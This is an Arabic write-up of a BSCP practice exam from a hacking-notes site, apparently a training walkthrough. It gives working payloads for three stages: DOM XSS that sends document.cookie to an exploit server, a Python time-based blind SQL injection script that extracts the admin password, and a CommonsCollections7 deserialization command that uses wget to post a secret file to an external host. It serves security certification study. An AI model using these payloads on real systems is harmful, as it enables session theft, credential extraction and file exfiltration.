> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/bscp-certification-practical-guide/writeup-practice-exam-2-bscp.md).

# شرح BSCP Practice Exam 2

## المرحلة 1: الوصول الأولي (XSS في DOM وسرقة ملفات تعريف الارتباط)

المتجه: حقن JavaScript في DOM عبر معلمة بحث (`find`). التحدي: وجود مرشحات/WAF يحدّ من استخدام بعض الأحرف.

#### 1. التحليل والتجاوز

بعد عدة اختبارات للخروج من بنية JSON/JavaScript الحالية:

```javascript
"};alert`1`//
","a":alert1}//
"-alert`1`-"
```

#### 2. حمولة التسريب

الهدف هو إعادة توجيه المسؤول إلى خادم الاستغلال الخاص بنا عبر جعله يحمل ملف تعريف ارتباط الجلسة الخاص به.

حمولة إعادة التوجيه: `"};location='https://[EXPLOIT-SERVER]/log?c='+document.cookie;//`

{% code overflow="wrap" %}

```bash
"};location='https://exploit-0aa20067041b291b83a6ea7c0130006e.exploit-server.net/?c='+document.cookie;//
```

{% endcode %}

الاستغلال النهائي (ليُسلَّم عبر خادم الاستغلال):

```javascript
<script>
  location = "https://0a79004d04a329a7830bebde00dd0088.web-security-academy.net/?find=%22%7D%3Blocation%3D%27https%3A%2F%2Fexploit-0aa20067041b291b83a6ea7c0130006e.exploit-server.net%2F%3Fc%3D%27%2Bdocument.cookie%3B%2F%2F";
</script>
```

## المرحلة 2: تصعيد الصلاحيات (SQLi قائم على الزمن)

المتجه: حقن SQL في `order` معلمة البحث المفلتر. قاعدة البيانات: PostgreSQL.

#### 1. التحقق من الحقن

يتم تأكيد الحقن باستخدام شرط بسيط لا يكسر الفرز: `ASC,(CASE WHEN (1=1) THEN 1 ELSE 2 END)`

#### 2. أتمتة الاستخراج (Blind SQLi)

بما أن التطبيق لا يُرجع خطأً مباشرًا مع المحتوى، فيُستخدم هجوم قائم على الزمن.

منطق الحمولة: يتحقق السكربت من `administrator` كلمة المرور حرفًا بحرف. إذا كان الحرف صحيحًا، تنتظر قاعدة البيانات 3 ثوانٍ (`pg_sleep(3)`).

سكربت بايثون للاستخراج:

```python
import requests
import time

url = "https://[LAB-ID].web-security-academy.net/filtered_search"
cookies = {"session": "your_session_id"}
charset = "abcdefghijklmnopqrstuvwxyz0123456789"
password = ""

for i in range(1, 21):
    for char in charset:
        # حمولة PostgreSQL القائمة على الزمن
        payload = f"ASC,(SELECT CASE WHEN (SUBSTRING((SELECT password FROM users WHERE username='administrator'),{i},1)='{char}') THEN (SELECT 1 FROM pg_sleep(3)) ELSE 1 END)"

        params = {"find": "", "organize": "5", "order": payload}

        start = time.time()
        requests.get(url, params=params, cookies=cookies)

        if (time.time() - start) >= 2.8:
            password += char
            print(f"[+] الحرف {i}: {char} -> {password}")
            break
```

## المرحلة 3: الوصول إلى نظام الملفات (إلغاء تسلسل Java)

الهدف: قراءة `/home/carlos/secret` الملف عبر إلغاء تسلسل غير مؤمَّن.

#### 1. تحليل ملف تعريف الارتباط

الـ `admin-prefs` يحتوي ملف تعريف الارتباط على كائن Java مُسلسل، مضغوط بصيغة Gzip ومشفّر بـ Base64.

{% code overflow="wrap" %}

```bash
Cookie: admin-prefs=H4sIAAAAAAAA%2fzWPPU7DQBCFF0RSQcMJpkOi2PTQEH4iCkcKClJEOV6Pk8HrHbO7dmKQOA4VJ%2bAI3IU7sBahm%2fn09PS9zx81Cl6dW8w1msjigjZS1%2bJ0IM9o%2bRVzS3pa1OwWnsrw9vUxDqvv7FAdZeq4xE48R5qJFFGdZs%2fY4cSiW0%2bW0bNbX2bq5D%2fz0EqkF%2fWuDvawHei1SLWHo7ih%2bi%2bxa6Iab5kc%2baiu5j04rAk4wA16KwHm4qL0qOFJWqjYWiqg7qHEVOE1JNMGPUEUKJh0VIvHDcGKcpg2jWWDw1K4R1ORPwvpcEWePC7gloORjgZ1SBDudo0VjsO7JDMI9zCzuA1JT3zaSb9PDWuHQgEAAA%3d%3d;
```

{% endcode %}

#### 2. إنشاء الحمولة (Yesserial)

في هذا الفحص الثاني، المكتبة الضعيفة المحددة هي CommonsCollections7.

عنصر التحكم في الإنشاء:

{% code overflow="wrap" %}

```bash
CommonsCollections7 '/usr/bin/wget --post-file /home/carlos/secret https://kpd4qvnp2c1ae8xbhncxyu0fl6rzfp3e.oastify.com'
```

{% endcode %}

#### 3. التنفيذ

الإجراء: ضغط الثنائي إلى Gzip -> ترميز Base64 -> استبدال القيمة في `admin-prefs` ملف تعريف الارتباط.

<figure><img src="/files/d029c217145f09622526914d66b38a7fd4a57b03" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/bscp-certification-practical-guide/writeup-practice-exam-2-bscp.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
